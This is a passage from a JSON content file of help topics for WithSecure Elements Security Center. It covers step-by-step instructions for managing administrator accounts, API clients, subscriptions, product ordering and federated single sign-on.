"step.step_add_admin_account_compan_0132F": "In the Roles screen, select the roles that the new administrator needs to have.", "content.p_add_admin_account_compan_0D4DB": "The Summary screen opens.", "step.step_add_admin_account_compan_0748D": "Select Next.", "step.step_add_admin_account_compan_01B32": "Check that the administrator details the selected roles are correct, and then select Add to complete adding the new administrator.", "content.p_add_admin_account_compan_0CE71": "A new administrator account is created.", "content.note_add_admin_account_compan_025AE": "Note: The user receives an email with instructions on how to set up a password for the new account.", "desc": [ "content.p_add_admin_account_compan_0E901", "content.p_add_admin_account_compan_02E3C", { "steps.steps_add_admin_account_compan_04F44": [ "step.step_add_admin_account_compan_0CE76", "content.p_add_admin_account_compan_0835D", "step.step_add_admin_account_compan_0180E", "content.note_add_admin_account_compan_0A9C9", "step.step_add_admin_account_compan_0EE89", "step.step_add_admin_account_compan_05C29", "step.step_add_admin_account_compan_05C41", { "substeps.substepsalpha_addalpha_adminalpha_accountalpha_companalpha_06F63": [ "substep.substep_add_admin_account_compan_03189", "content.note_add_admin_account_compan_0EBD4", "substep.substep_add_admin_account_compan_0F04E" ] }, "step.step_add_admin_account_compan_02638", "step.step_add_admin_account_compan_0132F", "content.note_add_admin_account_compan_044DD", "step.step_add_admin_account_compan_0748D", "content.p_add_admin_account_compan_0D4DB", "step.step_add_admin_account_compan_01B32" ] }, "content.p_add_admin_account_compan_0CE71", "content.note_add_admin_account_compan_025AE" ] }, "add_sep_account-latest-en.json": { "title": "title_add_sep_account_000001_35A99CA", "title_add_sep_account_000001_35A99CA": "Add a new service partner", "shortdesc": "shortdesc_add_sep_account_000002_8FE5181", "shortdesc_add_sep_account_000002_8FE5181": "Add a service partner account to your organization in WithSecure Elements. ", "content.p_add_sep_account_000011_4784EC9": "To create a service partner account:", "content.p_add_sep_account_000017_FB6D122": "The Organization Settings page is displayed.", "step.step_add_sep_account_000013_80FBE82": "Under Management, select Organization Settings on the sidebar.", "step.step_add_sep_account_000019_E1E54B4": "Select the General tab.", "content.p_add_sep_account_000020_700323A": "The Create service partner account view opens.", "step.step_add_sep_account_00001C_78DF4D2": "Select and then select Create service partner account.", "step.step_add_sep_account_000022_E5C2FF1": "Enter a name for the organization account, and select Save.", "content.p_add_sep_account_000025_336B3B8": "The service partner account is created.", "desc": [ "content.p_add_sep_account_000011_4784EC9", { "steps.steps_add_sep_account_000012_EB09F96": [ "step.step_add_sep_account_000013_80FBE82", "content.p_add_sep_account_000017_FB6D122", "step.step_add_sep_account_000019_E1E54B4", "step.step_add_sep_account_00001C_78DF4D2", "content.p_add_sep_account_000020_700323A", "step.step_add_sep_account_000022_E5C2FF1" ] }, "content.p_add_sep_account_000025_336B3B8" ] }, "edit_admin_account-latest-en.json": { "title": "title_edit_admin_account_000001_721F", "title_edit_admin_account_000001_721F": "Edit or remove administrators", "shortdesc": "shortdesc_edit_admin_account_000002_5CE8", "shortdesc_edit_admin_account_000002_5CE8": "You can edit or remove administrators accounts. ", "content.p_edit_admin_account_000011_B5F9": "Edit an administrator's role assignments, or remove their access entirely — removing all roles automatically deletes the account.", "content.p_edit_admin_account_000017_44FB": "The Organization Settings page is displayed.", "step.step_edit_admin_account_000013_58F2": "Under Management, select Organization Settings on the sidebar.", "step.step_edit_admin_account_000019_FDB0": "Select the Security Administrators tab.", "content.p_edit_admin_account_00001F_DE47": "The Summary screen opens.", "step.step_edit_admin_account_00001C_E367": "In the Email column, select the email address of the administrator account that you want to edit or remove.", "substep.substep_edit_admin_account_000024_AAD5": "Make the needed changes to the administrator roles.", "substep.substep_edit_admin_account_000026_CD67": "Select Save.", "content.p_edit_admin_account_000029_9015": "The details of the administrator account are updated.", "step.step_edit_admin_account_000021_CD24": "To edit the details of the administrator account, do the following:", "content.note_edit_admin_account_00002E_EEB1": "Note: When you remove all the access rights from an administrator account, the account is automatically deleted when you save the changes.", "content.p_edit_admin_account_00002F_0B54": "The administrator account is deleted.", "step.step_edit_admin_account_00002A_8611": "To remove the administrator account, select Delete.", "desc": [ "content.p_edit_admin_account_000011_B5F9", { "steps.steps_edit_admin_account_000012_FF92": [ "step.step_edit_admin_account_000013_58F2", "content.p_edit_admin_account_000017_44FB", "step.step_edit_admin_account_000019_FDB0", "step.step_edit_admin_account_00001C_E367", "content.p_edit_admin_account_00001F_DE47", "step.step_edit_admin_account_000021_CD24", { "substeps.substepsalpha_editalpha_adminalpha_accountalpha_000023alpha_7A80": [ "substep.substep_edit_admin_account_000024_AAD5", "substep.substep_edit_admin_account_000026_CD67" ] }, "content.p_edit_admin_account_000029_9015", "step.step_edit_admin_account_00002A_8611", "content.note_edit_admin_account_00002E_EEB1", "content.p_edit_admin_account_00002F_0B54" ] } ] }, "managing_api_clients-latest-en.json": { "title": "title_managing_api_clients_0000002CB", "title_managing_api_clients_0000002CB": "Create an API client", "shortdesc": "shortdesc_managing_api_clients_000006942", "shortdesc_managing_api_clients_000006942": "You can create an API client to let an application use the Elements API with specific access rights.", "content.p_managing_api_clients_00001A365": "An API client provides credentials that let an application use the Elements API. An API client has either full access or is limited to read-only access, depending on whether you select the Read-only option when you create it. For the available API operations, see the Elements API reference.", "content.p_managing_api_clients_0000116B7": "To create an API client:", "content.p_managing_api_clients_000012C8E": "The Organization Settings page opens.", "step.step_managing_api_clients_00001699F": "Under Management, select Organization Settings on the sidebar.", "content.p_managing_api_clients_000029391": "The tab shows the organization's UUID and a list of existing API clients.", "step.step_managing_api_clients_00001C12B": "Select the API Clients tab.", "content.p_managing_api_clients_0000266AE": "The Add new API client dialog opens, starting with the Details step.", "step.step_managing_api_clients_00002CB09": "Select Add new.", "step.step_managing_api_clients_00002055A": "Select the organization for the API client, enter a description, and select Read-only to limit the client to read-only access.", "content.p_managing_api_clients_00002B94E": "The API client step opens, showing the generated client ID and secret.", "step.step_managing_api_clients_0000200BF": "Select Add.", "content.note_managing_api_clients_00003C43C": "Important: You cannot view or access the secret again after this step.", "step.step_managing_api_clients_00003CA09": "Copy the secret and store it in a safe place.", "content.p_managing_api_clients_00003EB1A": "The new API client appears in the list, with its client ID, access rights, and creation date.", "step.step_managing_api_clients_0000364CA": "Select I have copied and stored the secret, and then select Done.", "content.p_managing_api_clients_000033C14": "A new API client is created.", "desc": [ "content.p_managing_api_clients_00001A365", "content.p_managing_api_clients_0000116B7", { "steps.steps_managing_api_clients_0000175C0": [ "step.step_managing_api_clients_00001699F", "content.p_managing_api_clients_000012C8E", "step.step_managing_api_clients_00001C12B", "content.p_managing_api_clients_000029391", "step.step_managing_api_clients_00002CB09", "content.p_managing_api_clients_0000266AE", "step.step_managing_api_clients_00002055A", "step.step_managing_api_clients_0000200BF", "content.p_managing_api_clients_00002B94E", "step.step_managing_api_clients_00003CA09", "content.note_managing_api_clients_00003C43C", "step.step_managing_api_clients_0000364CA", "content.p_managing_api_clients_00003EB1A" ] }, "content.p_managing_api_clients_000033C14" ] }, "deleting_api_client-latest-en.json": { "title": "title_deleting_api_client_000001EC0E", "title_deleting_api_client_000001EC0E": "Delete an API client", "shortdesc": "shortdesc_deleting_api_client_0000021A5D", "shortdesc_deleting_api_client_0000021A5D": "You can delete an API client that an application no longer needs.", "content.p_deleting_api_client_00000F52EC": "When you delete an API client, any application that uses its credentials can no longer access the Elements API with them.", "content.p_deleting_api_client_000011B206": "To delete an API client:", "content.p_deleting_api_client_000017944E": "The Organization Settings page opens.", "step.step_deleting_api_client_000013AEF7": "Under Management, select Organization Settings on the sidebar.", "content.p_deleting_api_client_00001CCB5E": "The tab shows a list of the organization's API clients.", "step.step_deleting_api_client_000019C3C8": "Select the API Clients tab.", "content.p_deleting_api_client_00001FB88A": "The API client is deleted.", "step.step_deleting_api_client_00001DA45D": "In the row of the API client that you want to delete, select the trash icon, and confirm that you want to delete it.", "desc": [ "content.p_deleting_api_client_00000F52EC", "content.p_deleting_api_client_000011B206", { "steps.steps_deleting_api_client_0000125480": [ "step.step_deleting_api_client_000013AEF7", "content.p_deleting_api_client_000017944E", "step.step_deleting_api_client_000019C3C8", "content.p_deleting_api_client_00001CCB5E", "step.step_deleting_api_client_00001DA45D", "content.p_deleting_api_client_00001FB88A" ] } ] }, "recover_password-latest-en.json": { "title": "title_recover_password_000001_8110D1", "title_recover_password_000001_8110D1": "Recover your password", "shortdesc": "shortdesc_recover_password_000002_78DCA8", "shortdesc_recover_password_000002_78DCA8": "If you have forgotten your password, you can recover it through the Forgot password? link. ", "content.p_recover_password_000012_719707": "To recover your password:", "content.p_recover_password_000017_81960B": "The Reset password mail sent window opens.", "step.step_recover_password_000014_833DC0": "On the login page, select the Forgot password? link.", "step.step_recover_password_000018_88A752": "Enter your username or email address.", "step.step_recover_password_00001A_195867": "Select Send.", "content.p_recover_password_00001E_708881": "You will receive an email message with instruction on how to change your password.", "desc": [ "content.p_recover_password_000012_719707", { "steps.steps_recover_password_000013_111ADE": [ "step.step_recover_password_000014_833DC0", "content.p_recover_password_000017_81960B", "step.step_recover_password_000018_88A752", "step.step_recover_password_00001A_195867" ] }, "content.p_recover_password_00001E_708881" ] }, "task_changing_account_details-latest-en.json": { "title": "title_changing_account_details_0BE9E", "title_changing_account_details_0BE9E": "Change your account details", "shortdesc": "shortdesc_changing_account_details_0F3DF", "shortdesc_changing_account_details_0F3DF": "Change your user name in WithSecure Elements Security Center. Federated users manage their account details in their identity provider.", "content.p_changing_account_details_0BBCF": "You can change your user name in WithSecure Elements Security Center from your account settings.", "content.note_changing_account_details_0409B": "Important: If your organization uses federated sign-in (Entra ID), you cannot change your account details in WithSecure Elements Security Center. Manage your details in your identity provider instead.", "content.p_changing_account_details_0FF7F": "To change your user name:", "step.step_changing_account_details_01DA2": "Select at the top-right corner, then select My settings.", "step.step_changing_account_details_04AC8": "Under Details, enter a new user name.", "step.step_changing_account_details_0B68C": "Select Save.", "desc": [ "content.p_changing_account_details_0BBCF", "content.note_changing_account_details_0409B", "content.p_changing_account_details_0FF7F", { "steps.steps_changing_account_details_0E817": [ "step.step_changing_account_details_01DA2", "step.step_changing_account_details_04AC8", "step.step_changing_account_details_0B68C" ] } ], "related": [ "edit_admin_account-latest-en" ] }, "task_changing_view_mode-latest-en.json": { "title": "title_changing_view_mode_000001_272D", "title_changing_view_mode_000001_272D": "Change the view mode", "shortdesc": "shortdesc_changing_view_mode_000002_9DE8", "shortdesc_changing_view_mode_000002_9DE8": "Select a light, dark, or automatic view mode to customize the appearance of WithSecure Elements Security Center.", "content.p_changing_view_mode_000012_DF7F": "You can customize the appearance of Elements Security Center by selecting the view mode that best fits your preference. Dark mode is useful in low-light environments such as control rooms or during night shifts. To change the view mode:", "step.step_changing_view_mode_000015_15FF": "Select the user profile menu icon at the top-right corner of the portal.", "step.step_changing_view_mode_000017_B22B": "Select View mode.", "subchoice.choice_changing_view_mode_00001D_5F5F": "Light – a bright interface suitable for well-lit environments.", "subchoice.choice_changing_view_mode_00001F_05FA": "Dark – a darker interface that reduces eye strain in low-light conditions.", "subchoice.choice_changing_view_mode_000021_9FBB": "Automatic – matches the system settings of your device and switches between light and dark automatically.", "content.p_changing_view_mode_000023_25DD": "", "step.step_changing_view_mode_00001A_D875": "Select one of the following options:", "content.p_changing_view_mode_000026_8029": "The new view mode is applied immediately. You can change it at any time by repeating these steps.", "desc": [ "content.p_changing_view_mode_000012_DF7F", { "steps.steps_changing_view_mode_000014_3C75": [ "step.step_changing_view_mode_000015_15FF", "step.step_changing_view_mode_000017_B22B", "step.step_changing_view_mode_00001A_D875", { "subchoices.choices_changing_view_mode_00001C_0AFB": [ "subchoice.choice_changing_view_mode_00001D_5F5F", "subchoice.choice_changing_view_mode_00001F_05FA", "subchoice.choice_changing_view_mode_000021_9FBB" ] }, "content.p_changing_view_mode_000023_25DD" ] }, "content.p_changing_view_mode_000026_8029" ] }, "about_product_subscriptions-latest-en.json": { "title": "title_about_product_subscripti_0180C", "title_about_product_subscripti_0180C": "Taking Elements products into use", "shortdesc": "shortdesc_about_product_subscripti_0B7F0", "shortdesc_about_product_subscripti_0B7F0": "Taking WithSecure Elements products into use includes a number of steps.", "step.step_about_product_subscripti_041D0": "Adding a customer company, if not yet added.", "content.note_about_product_subscripti_0518F": "Note: Under Management > Subscriptions, you can view all your products, your available subscription keys, and when they expire.", "step.step_about_product_subscripti_054A3": "Getting a subscription.", "step.step_about_product_subscripti_04044": "Adding the subscription to the customer company.", "content.note_about_product_subscripti_098BB": "Note: You can find instructions for deploying Elements products in Common deployment methods.", "step.step_about_product_subscripti_0378F": "Deploying the product.", "desc": [ { "steps.ol_about_product_subscripti_0514C": [ "step.step_about_product_subscripti_041D0", "step.step_about_product_subscripti_054A3", "content.note_about_product_subscripti_0518F", "step.step_about_product_subscripti_04044", "step.step_about_product_subscripti_0378F", "content.note_about_product_subscripti_098BB" ] } ] }, "managing_company-latest-en.json": { "title": "title_managing_company_000001_924807", "title_managing_company_000001_924807": "Adding a customer company", "shortdesc": "shortdesc_managing_company_000002_300935", "shortdesc_managing_company_000002_300935": "To add a new customer company to your WithSecure Elements Security Center account, you must first add it as a new customer to your WithSecure Partner Portal account and purchase at least one WithSecure Elements product for it. ", "content.note_managing_company_000017_4D0B6B": "Note: Only Solution Provider and Service Partner users can add customer companies.", "content.p_managing_company_000018_B355F4": "If you need an administrator to manage the subscriptions and devices in the new customer company, create an administrator account through Elements Security Center.", "content.note_managing_company_00001B_FED8A7": "Note: The WithSecure Partner Portal is an online service that works with Elements Security Center. It provides tools, materials and an integrated eOrdering system to help with sales and support of WithSecure solutions.", "content.p_managing_company_000021_D5CF30": "The purchase order for the new customer must first be added successfully from your Partner Portal account. Once this happens, the customer is automatically added as a new company to your Elements Security Center account.", "content.p_managing_company_000023_B219F6": "You can then begin offering WithSecure Elements products to users in the customer company, as well as managing the subscriptions for purchased products.", "desc": [ "content.note_managing_company_000017_4D0B6B", "content.p_managing_company_000018_B355F4", "content.note_managing_company_00001B_FED8A7", "content.p_managing_company_000021_D5CF30", "content.p_managing_company_000023_B219F6" ], "related": [ "add_admin_account_company-latest-en" ] }, "adding_subscription_key-latest-en.json": { "title": "title_adding_subscription_key_00BE66", "title_adding_subscription_key_00BE66": "Assign a subscription key for a customer company", "shortdesc": "shortdesc_adding_subscription_key_003186", "shortdesc_adding_subscription_key_003186": "By assigning a subscription key for a company, you can add more computers to WithSecure Elements Security Center. ", "content.p_adding_subscription_key_002855": "You need to consider the following:", "step.step_adding_subscription_key_0011F4": "Solution Providers and Service Partners can assign subscription keys for their customer companies.", "step.step_adding_subscription_key_00B15C": "Company users can assign unused subscription keys that are provided by their partner to their own organizations.", "step.step_adding_subscription_key_002A62": "Users must be granted a full editing role in the Endpoint Protection software (applies to both computers and servers).", "content.note_adding_subscription_key_006860": "Note: Company users must request for a subscription key from their partner.", "step.step_adding_subscription_key_008A17": "The subscription must be allocated at a partner level (the subscription key must exist). The partner can find the subscription key in the Subscriptions view under Management on the sidebar.", "content.p_adding_subscription_key_004256": "To assign a subscription key:", "step.step_adding_subscription_key_00CD36": "Under Management, select Subscriptions on the sidebar.", "content.p_adding_subscription_key_00DD03": "A table opens listing the current subscriptions of the selected company.", "step.step_adding_subscription_key_006B7F": "Using the scope selector, select the company to which you want to assign the subscription key.", "content.p_adding_subscription_key_008F2A": "The Assign subscription page opens.", "step.step_adding_subscription_key_002B41": "Select Assign subscription above the filters.", "step.step_adding_subscription_key_003CD2": "Enter the new subscription key for the company, and select OK.", "content.p_adding_subscription_key_00978D": "The new subscription key is added to the company account.", "desc": [ "content.p_adding_subscription_key_002855", { "steps.ul_adding_subscription_key_0030B7": [ "step.step_adding_subscription_key_0011F4", "step.step_adding_subscription_key_00B15C", "step.step_adding_subscription_key_002A62", "step.step_adding_subscription_key_008A17", "content.note_adding_subscription_key_006860" ] }, "content.p_adding_subscription_key_004256", { "steps.steps_adding_subscription_key_00B3F3": [ "step.step_adding_subscription_key_00CD36", "step.step_adding_subscription_key_006B7F", "content.p_adding_subscription_key_00DD03", "step.step_adding_subscription_key_002B41", "content.p_adding_subscription_key_008F2A", "step.step_adding_subscription_key_003CD2" ] }, "content.p_adding_subscription_key_00978D" ] }, "ordering_products_existing_company-latest-en.json": { "title": "title_ordering_products_existi_00A31", "title_ordering_products_existi_00A31": "Order products for an existing customer company", "shortdesc": "shortdesc_ordering_products_existi_030C7", "shortdesc_ordering_products_existi_030C7": "Order WithSecure Elements products for an existing customer company via WithSecure Partner Portal.", "content.note_ordering_products_existi_0DBE3": "Note: Only Solution Providers and Service Partners can order products for customer companies.", "content.p_ordering_products_existi_0AD1C": "To order WithSecure Elements products for an existing customer company via WithSecure Partner Portal:", "content.note_ordering_products_existi_083AC": "Note: WithSecure Partner Portal requires separate login credentials from WithSecure Elements Security Center. If you do not yet have your login details, complete the Request Credentials form on the page and click Send. Allow up to 24 hours to receive your access credentials.", "content.p_ordering_products_existi_074B6": "The eOrdering page is displayed.", "step.step_ordering_products_existi_078A0": "Log in to the portal by opening the following link in your web browser: Partner Portal", "step.step_ordering_products_existi_04F16": "On the main page, select My Customers, and then select the name of the customer company for which you are ordering products.", "content.p_ordering_products_existi_0772F": "The Welcome to Ordering window opens.", "step.step_ordering_products_existi_050AD": "In the Order column, select either New SaaS Order or New Yearly Order.", "step.step_ordering_products_existi_029B5": "Under New Order, enter a reference number for your order.", "step.step_ordering_products_existi_03718": "Under Order Products, select Add Products.", "step.step_ordering_products_existi_0E3CB": "Select the required products and follow the ordering instructions.", "content.p_ordering_products_existi_0FEAB": "Once your purchase order is completed, the change in product information will be updated in your WithSecure Partner Portal and Elements Security Center accounts.", "desc": [ "content.note_ordering_products_existi_0DBE3", "content.p_ordering_products_existi_0AD1C", { "steps.steps_ordering_products_existi_02834": [ "step.step_ordering_products_existi_078A0", "content.note_ordering_products_existi_083AC", "content.p_ordering_products_existi_074B6", "step.step_ordering_products_existi_04F16", "step.step_ordering_products_existi_050AD", "content.p_ordering_products_existi_0772F", "step.step_ordering_products_existi_029B5", "step.step_ordering_products_existi_03718", "step.step_ordering_products_existi_0E3CB" ] }, "content.p_ordering_products_existi_0FEAB" ], "related": [ "adding_company-latest-en" ] }, "adding_company-latest-en.json": { "title": "title_adding_company_000001_B5EE73A4", "title_adding_company_000001_B5EE73A4": "Order products for a new customer company", "shortdesc": "shortdesc_adding_company_000002_7662FF53", "shortdesc_adding_company_000002_7662FF53": "Order WithSecure Elements products for a new customer company via WithSecure Partner Portal.", "content.note_adding_company_000014_59A01709": "Note: Only Solution Providers and Service Partners can order products for customer companies.", "content.p_adding_company_000015_1747D459": "To order WithSecure Elements products for a new customer company via WithSecure Partner Portal:", "content.note_adding_company_00001D_5BA2C18B": "Note: WithSecure Partner Portal requires separate login credentials from WithSecure Elements Security Center. If you do not yet have your login details, complete the Request Credentials form on the page and click Send. Allow up to 24 hours to receive your access credentials.", "content.p_adding_company_000022_4341A6EF": "The eOrdering page is displayed.", "step.step_adding_company_000019_B1D326CD": "Log in to the portal by opening the following link in your web browser: Partner Portal", "step.step_adding_company_000024_82597FFC": "On the main page, select New Order.", "content.p_adding_company_00002A_A82E8737": "The New Customer window opens.", "step.step_adding_company_000027_1198EC87": "Enter the name of the new customer company and select Add New.", "step.step_adding_company_00002C_35A08307": "Enter the customer details and select Save.", "step.step_adding_company_00002F_8BF9FE38": "Under New Order, enter a reference number for your order.", "step.step_adding_company_000032_15B2320F": "Under Order Products, select Add Products.", "step.step_adding_company_000036_67170DCE": "Select the required products and follow the ordering instructions.", "content.p_adding_company_000038_90B14D85": "Once your purchase order is completed, the new customer company is listed in your Partner Portal account, together with the purchased products.", "content.note_adding_company_00003A_D48CA417": "Note: It might take a while for the new customer company to show in your Elements Security Center account.", "desc": [ "content.note_adding_company_000014_59A01709", "content.p_adding_company_000015_1747D459", { "steps.steps_adding_company_000018_23CFA850": [ "step.step_adding_company_000019_B1D326CD", "content.note_adding_company_00001D_5BA2C18B", "content.p_adding_company_000022_4341A6EF", "step.step_adding_company_000024_82597FFC", "step.step_adding_company_000027_1198EC87", "content.p_adding_company_00002A_A82E8737", "step.step_adding_company_00002C_35A08307", "step.step_adding_company_00002F_8BF9FE38", "step.step_adding_company_000032_15B2320F", "step.step_adding_company_000036_67170DCE" ] }, "content.p_adding_company_000038_90B14D85", "content.note_adding_company_00003A_D48CA417" ] }, "viewing_subscriptions-latest-en.json": { "title": "title_viewing_subscriptions_00005E99", "title_viewing_subscriptions_00005E99": "View available product subscriptions", "shortdesc": "shortdesc_viewing_subscriptions_000080BE", "shortdesc_viewing_subscriptions_000080BE": "To view the available subscriptions: ", "content.p_viewing_subscriptions_0000D664": "The Subscriptions view lists every product subscription for the scope you're viewing, along with keys, status, and expiration, so you can find and manage them across your organizations.", "content.p_viewing_subscriptions_000057A1": "The Subscriptions view opens showing the subscriptions for each product, the subscriptions keys, and the organizations to which the subscriptions belong.", "content.note_viewing_subscriptions_0000D3E7": "Note: If the scope selector is set to display all the customer companies, by default, you see all the subscriptions.", "step.step_viewing_subscriptions_0000D774": "Under Management, select Subscriptions.", "cell.choptionhd_viewing_subscriptions_00000C73": "Option", "cell.chdeschd_viewing_subscriptions_0000AD4E": "Description", "cell.choption_viewing_subscriptions_000088C3": "Subscription key", "cell.chdesc_viewing_subscriptions_000092D8": "enter the relevant subscription key", "cell.choption_viewing_subscriptions_0000408E": "Product", "cell.chdesc_viewing_subscriptions_00002010": "select from a list of available products", "cell.choption_viewing_subscriptions_0000DF1D": "Expiration", "cell.chdesc_viewing_subscriptions_00006995": "select Valid to see valid subscriptions; Expiring in 14 days or Expiring in 60 days to see subscriptions that are expiring soon; or Expired to see only subscriptions that have expired", "cell.choption_viewing_subscriptions_0000C180": "Type", "cell.chdesc_viewing_subscriptions_00003E48": "you can select from the following subscription types: Commercial, Evaluation, Governmental, Educational, or Not For Resale.", "content.p_viewing_subscriptions_00003728": "To see the subscriptions for a specific customer company, use the scope selector and select the company that you wish to view.", "content.note_viewing_subscriptions_0000CE43": "Note: When you select to view a specific customer company, no filters are used.", "step.step_viewing_subscriptions_0000E59D": "You can use filtering to find the following:", "desc": [ "content.p_viewing_subscriptions_0000D664", { "steps.steps_viewing_subscriptions_00009D64": [ "step.step_viewing_subscriptions_0000D774", "content.p_viewing_subscriptions_000057A1", "content.note_viewing_subscriptions_0000D3E7", "step.step_viewing_subscriptions_0000E59D", { "table.table_viewing_subscriptions_0000AE4F": [ { "thead.chhead_viewing_subscriptions_0000CC67": [ "cell.choptionhd_viewing_subscriptions_00000C73", "cell.chdeschd_viewing_subscriptions_0000AD4E" ] }, { "row.chrow_viewing_subscriptions_00007122": [ "cell.choption_viewing_subscriptions_000088C3", "cell.chdesc_viewing_subscriptions_000092D8" ] }, { "row.chrow_viewing_subscriptions_0000FA6F": [ "cell.choption_viewing_subscriptions_0000408E", "cell.chdesc_viewing_subscriptions_00002010" ] }, { "row.chrow_viewing_subscriptions_000011DA": [ "cell.choption_viewing_subscriptions_0000DF1D", "cell.chdesc_viewing_subscriptions_00006995" ] }, { "row.chrow_viewing_subscriptions_00000AC6": [ "cell.choption_viewing_subscriptions_0000C180", "cell.chdesc_viewing_subscriptions_00003E48" ] } ] }, "content.p_viewing_subscriptions_00003728", "content.note_viewing_subscriptions_0000CE43" ] } ] }, "changing_subscription_key-latest-en.json": { "title": "title_changing_subscription_ke_061FD", "title_changing_subscription_ke_061FD": "Change the subscription key", "shortdesc": "shortdesc_changing_subscription_ke_0C3FC", "shortdesc_changing_subscription_ke_0C3FC": "Changes the subscription key for one or more devices in WithSecure Elements Security Center. ", "content.p_changing_subscription_ke_0BD38": "To change the subscription key:", "content.note_changing_subscription_ke_09E04": "Note: A subscription key cannot be changed for Elements Connector or any EPP subscription variant if the change would require downgrading to a subscription that does not include EPP.", "content.p_changing_subscription_ke_06AA1": "The Devices page opens.", "step.step_changing_subscription_ke_04FC1": "Under Environment, select Devices on the sidebar.", "content.p_changing_subscription_ke_0AEEC": "A menu is displayed at the bottom of the page.", "step.step_changing_subscription_ke_09E1E": "Select the devices for which you want to change the subscription key.", "step.step_changing_subscription_ke_018DD": "Select Change subscription.", "content.note_changing_subscription_ke_0C499": "Note: Under Management > Subscriptions, you can find the available subscription keys for the devices of the selected company.", "content.p_changing_subscription_ke_00358": "The new subscription key is applied to the selected devices.", "step.step_changing_subscription_ke_0508E": "Enter a new subscription key in the field that appears, and select Change subscription.", "desc": [ "content.p_changing_subscription_ke_0BD38", "content.note_changing_subscription_ke_09E04", { "steps.steps_changing_subscription_ke_03EF4": [ "step.step_changing_subscription_ke_04FC1", "content.p_changing_subscription_ke_06AA1", "step.step_changing_subscription_ke_09E1E", "content.p_changing_subscription_ke_0AEEC", "step.step_changing_subscription_ke_018DD", "step.step_changing_subscription_ke_0508E", "content.note_changing_subscription_ke_0C499", "content.p_changing_subscription_ke_00358" ] } ] }, "upgrade-latest-en.json": { "title": "title_upgrade_000001_10BB61D8", "title_upgrade_000001_10BB61D8": "Upgrading your subscriptions", "shortdesc": "shortdesc_upgrade_000002_C22E0742", "shortdesc_upgrade_000002_C22E0742": "Options for upgrading your WithSecure Elements subscriptions. ", "content.p_upgrade_000010_EA8DDDAD": "This chapter describes how to upgrade your WithSecure Elements subscriptions and the upgrade options that are available.", "desc": [ "content.p_upgrade_000010_EA8DDDAD" ] }, "upgrading_options-latest-en.json": { "title": "title_upgrading_options_000001_2C4C0", "title_upgrading_options_000001_2C4C0": "Upgrading your subscriptions", "shortdesc": "shortdesc_upgrading_options_000002_9F8FA", "shortdesc_upgrading_options_000002_9F8FA": "You can upgrade your subscription in two ways: ", "step.step_upgrading_options_00001A_5C4D4": "By changing the type of your subscription key (ordering a new one)", "step.step_upgrading_options_00001B_B8AF9": "By changing to another subscription key on your device", "content.p_upgrading_options_00001C_52830": "You have the following options in upgrading your subscriptions:", "step.step_upgrading_options_00001E_59FD1": "WithSecure Elements EPP for Computers to WithSecure Elements EPP for Computers Premium", "step.step_upgrading_options_000021_456DB": "WithSecure Elements EPP for Computers to WithSecure Elements EDR and EPP for Computers", "step.step_upgrading_options_000024_DBECB": "WithSecure Elements EPP for Computers to WithSecure Elements EDR and EPP for Computers Premium", "step.step_upgrading_options_000027_1CFD4": "WithSecure Elements EPP for Computers Premium to WithSecure Elements EDR and EPP for Computers Premium", "step.step_upgrading_options_00002A_51D6E": "WithSecure Elements EDR and EPP for Computers to WithSecure Elements EDR and EPP for Computers Premium", "step.step_upgrading_options_00002D_FBA2C": "WithSecure Elements EPP for Servers to WithSecure Elements EPP for Servers Premium", "step.step_upgrading_options_000030_305B8": "WithSecure Elements EPP for Servers Premium to WithSecure Elements EDR and EPP for Servers Premium", "content.note_upgrading_options_000033_48F60": "Note: You can use the same installer file for both Standard and Premium versions of WithSecure Elements EPP for Computers or WithSecure Elements EPP for Servers and any combination of WithSecure Elements EDR and EPP for Computers or WithSecure Elements EDR and EPP for Servers.", "content.p_upgrading_options_000038_D91F6": "If WithSecure Elements EDR is installed on a Windows computer, you need to reinstall it before you can upgrade to WithSecure Elements EDR for Computers or WithSecure Elements EDR for Computers Premium.", "desc": [ { "steps.ul_upgrading_options_000019_96530": [ "step.step_upgrading_options_00001A_5C4D4", "step.step_upgrading_options_00001B_B8AF9" ] }, "content.p_upgrading_options_00001C_52830", { "steps.ul_upgrading_options_00001D_44726": [ "step.step_upgrading_options_00001E_59FD1", "step.step_upgrading_options_000021_456DB", "step.step_upgrading_options_000024_DBECB", "step.step_upgrading_options_000027_1CFD4", "step.step_upgrading_options_00002A_51D6E", "step.step_upgrading_options_00002D_FBA2C", "step.step_upgrading_options_000030_305B8" ] }, "content.note_upgrading_options_000033_48F60", "content.p_upgrading_options_000038_D91F6" ] }, "federated_single_sign_on-latest-en.json": { "title": "title_federated_single_sign_on_03EAF", "title_federated_single_sign_on_03EAF": "Federated single sign-on", "shortdesc": "shortdesc_federated_single_sign_on_037DF", "shortdesc_federated_single_sign_on_037DF": "Federated single sign-on (FSSO) lets users authenticate once with an identity provider and access several applications without logging in separately.", "content.p_federated_single_sign_on_0F3F6": "Federated single sign-on (FSSO) lets users authenticate once and access several applications or services across different domains or organizations. Users do not need to log in separately for each one. When users log in, they submit their credentials, such as a username and password, to an identity provider. The identity provider then checks these credentials. After successful authentication, the identity provider generates a digitally-signed token. This token proves the user's identity. When users access other applications or services in different domains or organizations, their browser automatically uses this token. The cloud identity service checks the token and grants access without requiring the user to log in again.", "content.p_federated_single_sign_on_0DB35": "FSSO makes access across various systems simpler. It lets users authenticate once and move smoothly between different applications or services. It also improves security and user experience by removing the need for multiple logins. When a user is removed from an identity provider, they automatically lose the ability to log in to Elements Security Center. This makes managing user access easier and more secure.", "desc": [ "content.p_federated_single_sign_on_0F3F6", "content.p_federated_single_sign_on_0DB35" ] }, "federated_sso_prereqs-latest-en.json": { "title": "title_federated_sso_prereqs_0000ACF3", "title_federated_sso_prereqs_0000ACF3": "Prerequisites", "shortdesc": "shortdesc_federated_sso_prereqs_00006083", "shortdesc_federated_sso_prereqs_00006083": "To link an Entra account to a WithSecure Elements account, the Entra ID tenant account must have the email address set up and matching the email address of the corresponding Elements account.", "content.p_federated_sso_prereqs_0000BCF9": "If the email address is not set up or does not match the email address of the corresponding Elements account, the linking fails, and the user is not able to access WithSecure Elements Security Center. User email address information is visible in the Microsoft Entra Admin Center under Contact Information > Email.", "content.note_federated_sso_prereqs_00005962": "Note: All users must have an Elements account. There is no automatic user provisioning from Microsoft Entra ID.", "desc": [ "content.p_federated_sso_prereqs_0000BCF9", "content.note_federated_sso_prereqs_00005962" ] }, "sso_considerations-latest-en.json": { "title": "title_before_implementing_sso_00966A", "title_before_implementing_sso_00966A": "Before implementing single sign-on (SSO)", "shortdesc": "shortdesc_before_implementing_sso_005288", "shortdesc_before_implementing_sso_005288": "These requirements and considerations apply before you implement single sign-on 